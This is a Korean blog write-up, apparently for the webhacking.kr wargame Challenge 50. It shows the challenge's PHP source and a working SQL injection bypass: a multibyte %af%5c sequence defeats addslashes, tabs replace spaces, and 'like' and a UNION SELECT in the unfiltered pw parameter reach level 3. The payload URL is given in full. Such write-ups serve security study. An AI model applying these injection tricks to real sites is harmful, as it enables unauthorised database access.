문제 소스를 봅시다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>   <input type=reset>
</form>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>


id와 pw에 addslashes가 붙어 있는데 mb_convert_encoding과 쌍을 이루는 건 id입니다.

일단 id에는 %af 처럼 멀티바이트를 먹일 수 있습니다.


다만 그 이외의 필터링이 조금 빡셉니다.


꺽쇠와 equal 표시가 다 안 되고, 소괄호도 막혀 있어 함수를 사용할 수도 없습니다.


처음에는 like로 우회가 가능했습니다.


그.러.나.


?id=%af%5c&pw=||lv%09like%093%23 이와 같이 우회를 했을 때 like 1, like 2일 때는 잘 출력되지만 3일 경우는 출력되지 않습니다.

여기서는 따로 3이라는 값이 없는 것으로 생각됩니다.


여기서 union을 preg_match로 막아두었던 것은 id 파라미터뿐이고, pw에는 막지 않았었네요.



https://webhacking.kr/challenge/web-25/?id=%af%5c&pw=||0%09union%09select%093%23

'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No49(300) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08

+ Recent posts